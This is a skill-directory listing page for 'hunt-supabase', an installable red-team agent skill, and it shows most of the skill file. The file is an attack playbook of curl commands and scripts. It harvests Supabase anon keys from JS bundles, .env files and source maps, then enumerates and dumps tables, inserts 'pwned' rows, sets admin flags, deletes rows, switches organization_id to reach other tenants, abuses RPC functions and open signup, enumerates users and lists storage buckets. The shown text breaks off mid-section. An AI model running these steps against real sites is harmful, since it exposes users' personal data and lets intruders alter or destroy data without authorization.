hunt-supabase
Hunt Supabase exploitation — Supabase anon key discovery in JS bundles, REST API table enumeration with anon key, Row Level Security (RLS) bypass via missing organization_id check, RPC function abuse returning cross-organization data, Storage bucket listing, Auth signUp/signIn with anon key, multi-t…
Install / Use
npx skills add uphiago/recon-skills --skill hunt-supabaseInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of hunt-supabase
hunt-supabase scores 93/100 on our quality scale, 371st of 1,108 Security skills we index (top 34%).
Its SKILL.md is 17 KB long, well organised into 78 sections with 19 code examples: a thorough specification that gives an agent plenty to work with.
With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 3 months ago, so hunt-supabase is actively maintained.
- Our last check on 2026-10-26 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky: The skill directs the agent to hunt for Supabase anon keys in JS bundles, .env files, and source maps, then use them to enumerate and dump table data including PII.
AI review: risky
- The skill directs the agent to hunt for Supabase anon keys in JS bundles, .env files, and source maps, then use them to enumerate and dump table data including PII.
- It instructs the agent to attempt write operations (POST/PATCH/DELETE) and upload files labeled 'pwned' to discovered Supabase endpoints.
- It provides full attack chains for cross-tenant data access, open signup abuse, and storage bucket exploitation, which can lead to credential leakage or unauthorized data exfiltration if applied outside a properly authorized scope.
AI review by kimi-k2.7-code on 2026-10-04. Automated pattern scan on 2026-10-04. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
hunt-supabase compared with similar skills
All 4 of these similar skills score higher than hunt-supabase; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-supabase (this skill)by uphiago | 93 | 1.3k | 3mo ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 112.3k | 8d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.8k | today | CLAUDE.md |
| Scraplingby D4Vinci | 100 | 103.6k | 2d ago | MCP Server |
| crawl4aiby unclecode | 100 | 87.4k | 3d ago | MCP Server |
Frequently asked questions
- How do I install hunt-supabase?
- Run
npx skills add uphiago/recon-skills --skill hunt-supabase. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-supabase work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-supabase safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky: The skill directs the agent to hunt for Supabase anon keys in JS bundles, .env files, and source maps, then use them to enumerate and dump table data including PII. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-supabase still maintained?
- The repository was last updated about 3 months ago, so hunt-supabase is actively maintained.
Skill content
View source on GitHubname: hunt-supabase description: "Hunt Supabase exploitation — Supabase anon key discovery in JS bundles, REST API table enumeration with anon key, Row Level Security (RLS) bypass via missing organization_id check, RPC function abuse returning cross-organization data, Storage bucket listing, Auth signUp/signIn with anon key, multi-tenant enumeration via WHOIS, bucket file upload/download without auth. Built from field observation of Lovable.dev + Supabase stack on rapidly-built platforms where RLS policies are consistently misconfigured. Use when a JS bundle, .env, or APK reveals a Supabase URL (project.supabase.co) and anon key (eyJ...)." version: 1.1.0 revision_date: 2026-07-25 license: MIT category: redteam tags: [supabase, hunt, redteam]
HUNT-SUPABASE — Supabase Exploitation
Crown Jewel Targets
Supabase is the open-source Firebase alternative. It uses Row Level Security (RLS) for access control, but RLS policies are frequently misconfigured — especially in rapid-development stacks (Lovable.dev, Bolt.new, Cursor).
Highest-value findings:
- Public tables via anon key — REST API with anon key returns table data when RLS is disabled or policies are permissive. Critical.
- RLS bypass via organization_id — UPDATE operation checks user ownership but NOT organization_id -> cross-tenant data access. Critical.
- RPC functions returning global data — SECURITY DEFINER RPC functions that don't filter by auth.uid() -> all users' data. High.
- Storage buckets without RLS — Public file listing, upload, and download. High.
- Open signUp — Anyone can register and get a JWT. High.
- Multi-tenant enumeration — Same broken-RLS patterns across multiple apps built by the same developer. Medium.
Phase 1 — Find the Supabase Project
Supabase is identified by its URL format: https://[PROJECT_REF].supabase.co and anon key format: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... (JWT starting with eyJ)
1.1 Search in JS Bundles
# Download JS bundles and search for Supabase
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'src="[^"]*\.js"' | cut -d'"' -f2 | while read js; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done
# Search for Supabase URL pattern
grep -rEn 'https://[a-z0-9-]+\.supabase\.co' /tmp/*.js
grep -rEn 'supabaseUrl|SUPABASE_URL|supabaseKey|SUPABASE_ANON_KEY' /tmp/*.js
# Search for Supabase JWT anon key
grep -rEn 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.[^[:space:]]+' /tmp/*.js
# Quick one-liner
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo '(?:supabaseUrl|SUPABASE_URL)[": ]+[^"'\''\s]+'
1.2 Search in .env and Config Files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/config.js" | grep -i "supabase"
# JSON config files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/manifest.json" | python3 -c "import sys, json; d = json.load(sys.stdin); print(d)" 2>/dev/null
1.3 Extract from Source Maps
# Check source maps for Supabase config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\s"]+' | cut -d= -f2 | while read sm; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done
cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re
try:
data = json.load(sys.stdin)
sources = data.get('sourcesContent', [])
for src in sources:
if not src: continue
urls = re.findall(r'https://[a-z0-9-]+\.supabase\.co', src)
keys = re.findall(r'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.\S{50,}', src)
for u in urls: print(f'URL: {u}')
for k in keys: print(f'ANON_KEY: {k}')
except: pass
" 2>/dev/null
Phase 2 — Supabase Reconnaissance
Once you have the Supabase URL and anon key:
SUPABASE_URL="https://xxxxxxx.supabase.co"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# Step 1: Verify the project exists
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 2: OpenAPI/Swagger spec (sometimes exposed)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?apikey=$ANON_KEY"
# Step 3: Try to list all tables (requires RLS listing to be enabled)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 4: Common table names to try
for table in users profiles user_profiles customers orders products messages posts comments settings config api_keys tokens sessions accounts transactions documents files uploads; do
response=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "$SUPABASE_URL/rest/v1/$table?limit=1" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY")
if [ "$response" = "200" ]; then
echo "[+] PUBLIC TABLE: $table"
# Sample the data
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=2" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | python3 -m json.tool | head -20
fi
done
Phase 3 — Data Enumeration with Anon Key
3.1 Read Table Data
# Read all data from a table (Supabase REST API uses pagination)
TABLE="users"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Paginate through all rows (1000 per page default)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*&limit=1000&offset=0" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Select specific columns
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=id,email,username,role" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Filter rows
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?role=eq.admin&select=id,email" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Count total rows
curl --max-time 30 --connect-timeout 10 -sk -I "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | grep -i "content-range"
3.2 Try Write Access
# Try inserting (CRITICAL if works)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"test_column": "pwned"}'
# Try update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{"admin": true}'
# Try delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY"
Phase 4 — RLS Bypass via Organization ID Manipulation
This is the most common Supabase vulnerability in multi-tenant apps.
4.1 Cross-Organization IDOR via UPDATE
# If RLS allows UPDATE on your own profile but doesn't check organization_id:
# Step 1: Get your user profile
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
# Step 2: Try to change your organization_id to the target org
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" \
-d '{"organization_id":"TARGET_ORG_UUID"}'
# Step 3: If 200 -> Now you see the target org's data!
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/projects?organization_id=eq.TARGET_ORG_UUID" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
4.2 RPC Function without Organization Filter
# RPC functions often return GLOBAL data without checking org membership
# Step 1: List available RPC functions
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
# Step 2: Try common RPC names
for rpc in get_stats get_dashboard get_analytics get_metrics get_summary get_report; do
response=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/$rpc" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" -d '{}')
if echo "$response" | python3 -c "import sys, json; json.load(sys.stdin); print('OK')" 2>/dev/null; then
echo "[+] RPC accessible: $rpc"
echo "$response" | python3 -m json.tool | head -20
fi
done
4.3 Multi-Tenant Enumeration via WHOIS
# If the same developer/agency built multiple apps, they share the same RLS flaws.
# Step 1: Get the target domain's WHOIS to find the owner/dev
whois $TARGET | grep -iE "email|org|name|admin"
# Step 2: Search crt.sh for other domains owned by the same org
curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
domains = set(d['name_value'] for d in data)
print('\n'.join(sorted(domains)))
except: pass
"
# Step 3: Test each for Supabase with the same broken RLS patterns
Phase 5 — Supabase Auth Exploitation
5.1 Open SignUp
# Check if email/password signup is enabled
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{
"email": "test@test.com",
"password": "TestPassword123!"
}'
# HTTP 200 with access_token + user = OPEN SIGNUP!
5.2 Extract JWT from SignUp
# If signup succeeds, extract the JWT and use it for authenticated requests
SIGNUP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"TestPassword123!"}')
ACCESS_TOKEN=*** "$SIGNUP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('access_token', 'NONE'))")
# Use this JWT for authenticated API calls
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/users?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN"
5.3 Brute User Enumeration
# Supabase returns different errors for existing vs non-existing users
for email in admin@$TARGET user@$TARGET info@$TARGET support@$TARGET; do
response=$(curl --max-time 30 --connect-timeout 10 -sk -w "%{http_code}" -o /dev/null "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d "{\"email\":\"$email\",\"password\":\"Test123!\"}")
# HTTP 200 = new user created
# HTTP 422 = email already exists -> VALID USER
# HTTP 400 = validation error
echo "$email: $response"
done
Phase 6 — Supabase Storage Exploitation
# Step 1: List storage buckets (if RLS allows)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/bucket" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 2: If buckets found, list files
BUCKET="files"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/list/$BUCKET" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 3: Do
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
112.3kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
headroom
79.8kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
Scrapling
103.6k🕷️ The BEST Web Scraping framework that handles everything from a single request to a full-scale crawl! Don't be shy, join here: https://discord.gg/EMgGbDceNQ and follow here for daily tips and tricks: https://x.com/Scrapling_dev
crawl4ai
87.4kOfficial Crawl4AI Cloud: a hosted web scraping, extraction, and search API for AI agents. Free API key, 1,000 credits a month, no card. Fully open source: this repo is the Apache-2.0 crawler that powers it, and you can self-host it.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
